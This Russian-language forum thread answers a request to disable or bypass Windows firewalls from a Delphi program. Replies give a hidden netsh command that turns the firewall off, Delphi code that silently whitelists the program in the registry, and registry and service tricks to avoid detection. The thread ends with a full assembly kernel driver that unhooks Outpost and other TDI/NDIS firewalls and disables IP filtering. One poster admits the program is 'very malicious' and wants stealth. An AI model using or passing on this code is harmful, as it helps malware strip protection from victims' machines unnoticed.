Обращаюсь к тем кто шарит в Delphi. Пишу программу которая использует сокеты и брандмауэр не дает мне покоя при запуске проги сразу выскакивает окошко Разрешить Запретить. Вопрос таков: Как средствами Delphi отключить или обойти брандмауэр? Заранее спасибо.
Какой именно ?? Если имеешь виду так называемый виндвос файрвол, то копай в сторону netsh - если что это консольная програ для работы с виндовс файрвол.
Сори проверить не смогла, нету Дельфи под рукой, но попробуй: PHP: WinExec('netsh firewall set opmode mode=disable', SW_Hide); В команде возможны ошибки но вроде должно быть все правильно. Как недостаток такого способа, при выполнении команды через командную строку палиться сообщение о том что он отключен. Но это тоже исправляется, к сожалению параметров на память даже приблизительно не помню.
ппц народ вы жжете. винэксесом. )) Code: procedure fuck_xpfw; var key:longword; ValueName:array[0..255] of char; Value:string; const path='SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List'; begin if RegOpenKeyEx($80000002, path, 0, LOngword($F003F), key)<>0 then exit; GetModuleFileName(GetModuleHandle(nil), ValueName, 256); Value:=ValueName+':*:Enabled:RPC'; RegSetValueEx(key, ValueName, 0, 1, pchar(Value), length(Value)); RegCloseKey(key); end; Тупо разрешить своему приложению работать с сетью.
Человек спросил как отключить брандмауэр программно, я ему сказала))) спросил бы как тупо разрешить своему приложению работать с сетью, то и ответ был бы другой если бы он был)))) а насчет винэкзека))) смешно не смешно, но ведь работает блин)) по крайней мере должен)
Хай народ! А есть идеи как сделать тоже самое, только не из под делфи, а тупо по средствам командной строки. А то палевно как то. И скорее не отключение самого файрвола, а добовление исключения. уж больно вредная прога (((
зато пропись в доверенные приложения видовс файрвола касперского точно вынесет))) интересно, программы умеют выходить из строя от смеха?)
) хоть и разобрался но добавлю... насколько я понмю можно отключить брэндмауэр через реестр... идем в HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\ и задаем значение параметра EnableFirewall (dword) равным 0 и изменения вступят в силу но только поле перезагрузки... еще в этом же ключе есть такой параметр как: DoNotAllowExceptions - не разрешать исключения, если этот параметр равен 1, то пример slesh"а (програмно записать в список исключений) к сожалению будет бесполезен если к нему не дописать пару строчек... так что можеш попробовать еще так отключить может быть получится)
С реестром есть маленький косячокс, очень многие педантичные люди ставят программу, щас не вспомню как называеться, которая следит за всеми изменениями в записях реестра. Так что вариант отключения файрвола через реестр хоть и актуальна, но для меня не приемлемма. Я предпочел написать простой батничег, который собственно и отключит файрвол, в момент запуска виндовс. Кстати, вел небольшую статистику, из нее зделал вывод: Люди которые насамом деле понимают всю серьезность опастности - гораздо реже пользуются антивирусами, не же ли простые юзвери ))) Спасибо за пост, может кому пригодиться.
стопорнуть программно службу фаервола а чтоб центр безопасности не кричал про остановку фаера, стопорнуть и его предварительно.
Code: .386 .model flat, stdcall option casemap:none include ddk\ntddk.inc include ddk\ntoskrnl.inc include Strings.inc NDIS40 equ 1 include ddk\ndis.inc include ddk\ipfirewall.inc includelib ntoskrnl.lib includelib ndis.lib ; by MaD [ [email protected] ] 01/08/2006 .code ; --------------------------------------------------------------------------------------- ; Процедуры-заглушки, для регистрации NDIS протокола BindAdapterStub proc pStatus, BindContext, pDeviceName, pSS1, pSS2 ret BindAdapterStub endp UnbindAdapterStub proc pStatus, BindContext, pUnbindContext ret UnbindAdapterStub endp ; --------------------------------------------------------------------------------------- ; Процедура, удаляющая перехват Outpost'а на уровне обработчика NDIS RemoveNdisProcHook proc Handler :PVOID mov ecx, Handler jecxz @ret cmp byte ptr [ecx], 0E8h ; В начале должен стоять call jnz @ret mov edx, [ecx+1] ; Смещение call'а lea edx, [ecx+edx+5] ; EDX указывает на то, куда идет вызов call'а .if dword ptr [edx] == 03C08358h ; В начале стоит: pop eax / add eax, 3 - это Outpost 4.0 mov edx, [ecx+8] .elseif dword ptr [edx] == 6030FF58h ; В начале стоит: pop eax / push [eax] / pushad - это Outpost 3.x mov edx, [ecx+5] .else jmp @ret .endif ; В EDX адрес реального обработчика mov byte ptr [ecx], 0E9h ; Превратим call в jmp sub edx, ecx sub edx, 5 mov [ecx+1], edx ; Теперь вместо передачи управления фаеру, будет jmp сразу на реальный обработчик @ret: ret RemoveNdisProcHook endp DriverEntry proc uses esi edi ebx pDriverObject :PDRIVER_OBJECT, pusRegistryPath :PUNICODE_STRING LOCAL NdisProto :NDIS_PROTOCOL_CHARACTERISTICS LOCAL NdisStatus :NDIS_STATUS LOCAL NdisProtoHandle :NDIS_HANDLE LOCAL TcpipDrvObj :PDRIVER_OBJECT LOCAL IpFilterFileObj :PFILE_OBJECT LOCAL IpFilterDevObj :PDEVICE_OBJECT LOCAL InBuff :DWORD ; 1) -> Снимаем перехват на уровне TDI (универсальный способ для обхода всех TDI-фаеров) invoke ObReferenceObjectByName, $CCOUNTED_UNICODE_STRING("\\Driver\\Tcpip"), OBJ_CASE_INSENSITIVE, NULL, 0, \ IoDriverObjectType, KernelMode, NULL, addr TcpipDrvObj test eax, eax jnz @ret mov eax, TcpipDrvObj mov ebx, (DRIVER_OBJECT ptr [eax]).DeviceObject assume ebx : ptr DEVICE_OBJECT ; EBX -> текущее устройство ; Перечисляем все устройства драйвера Tcpip.sys: ; \Device\Ip, \Device\RawIp, \Device\Tcp, \Device\Udp, \Device\IPMULTICAST @enum_devices: and [ebx].AttachedDevice, 0 ; Перехват снят mov ebx, [ebx].NextDevice test ebx, ebx jnz @enum_devices assume ebx : nothing invoke ObDereferenceObject, TcpipDrvObj ; 2) -> Удаляем перехват на уровне NDIS (убираем перехват обработчиков протоколов) lea edi, NdisProto mov ecx, sizeof NdisProto xor eax, eax rep stosb mov NdisProto.MajorNdisVersion, 4 mov NdisProto.BindAdapterHandler, BindAdapterStub mov NdisProto.UnbindAdapterHandler, UnbindAdapterStub ; Регистрируем NDIS-протокол для того чтобы получить указатель на связный список протоколов invoke NdisRegisterProtocol, addr NdisStatus, addr NdisProtoHandle, addr NdisProto, sizeof NdisProto cmp NdisStatus, NDIS_STATUS_SUCCESS jnz @ret mov ebx, NdisProtoHandle ; EBX -> текущий протокол assume ebx : ptr NDIS_PROTOCOL_BLOCK mov ebx, [ebx].Next ; Скорее всего указывает на протокол TCPIP_WANARP invoke NdisDeregisterProtocol, addr NdisStatus, NdisProtoHandle ; Перечисляем все зарегистрированные NDIS-протоколы @enum_protocols: ; Удаляем перехват обработчиков NDIS-протокола invoke RemoveNdisProcHook, [ebx].OpenAdapterCompleteHandler invoke RemoveNdisProcHook, [ebx].SendCompleteHandler invoke RemoveNdisProcHook, [ebx].TransferDataCompleteHandler invoke RemoveNdisProcHook, [ebx].RequestCompleteHandler invoke RemoveNdisProcHook, [ebx].ReceiveHandler invoke RemoveNdisProcHook, [ebx].StatusHandler invoke RemoveNdisProcHook, [ebx].ReceivePacketHandler invoke RemoveNdisProcHook, [ebx].BindAdapterHandler invoke RemoveNdisProcHook, [ebx].UnbindAdapterHandler mov esi, [ebx].OpenBlock ; ESI -> текущий открытый блок test esi, esi jz @next assume esi : ptr NDIS_OPEN_BLOCK ; Перечисляем все открытые блоки этого протокола @enum_open_blocks: ; Удаляем перехват обработчиков открытого блока invoke RemoveNdisProcHook, [esi].SendHandler invoke RemoveNdisProcHook, [esi].TransferDataHandler invoke RemoveNdisProcHook, [esi].SendCompleteHandler invoke RemoveNdisProcHook, [esi].TransferDataCompleteHandler invoke RemoveNdisProcHook, [esi].ReceiveHandler invoke RemoveNdisProcHook, [esi].RequestCompleteHandler invoke RemoveNdisProcHook, [esi].ReceivePacketHandler invoke RemoveNdisProcHook, [esi].SendPacketsHandler invoke RemoveNdisProcHook, [esi].StatusHandler mov esi, [esi].ProtocolNextOpen test esi, esi jnz @enum_open_blocks assume esi : nothing @next: mov ebx, [ebx].Next test ebx, ebx jnz @enum_protocols assume ebx : nothing ; 3) -> Отменяем фильтрацию в IpFilterDriver invoke IoGetDeviceObjectPointer, $CCOUNTED_UNICODE_STRING("\\Device\\Ipfilterdriver"), \ GENERIC_READ or GENERIC_WRITE or SYNCHRONIZE, addr IpFilterFileObj, addr IpFilterDevObj test eax, eax jnz @ret and InBuff, 0 invoke IoBuildDeviceIoControlRequest, IOCTL_IP_SET_FIREWALL_HOOK, IpFilterDevObj, addr InBuff, 4, 0, 0, 0, 0, 0 test eax, eax jz @ret invoke IoCallDriver, IpFilterDevObj, eax @ret: mov eax, STATUS_DEVICE_CONFIGURATION_ERROR ret DriverEntry endp end DriverEntry Если помог то ставь плюсег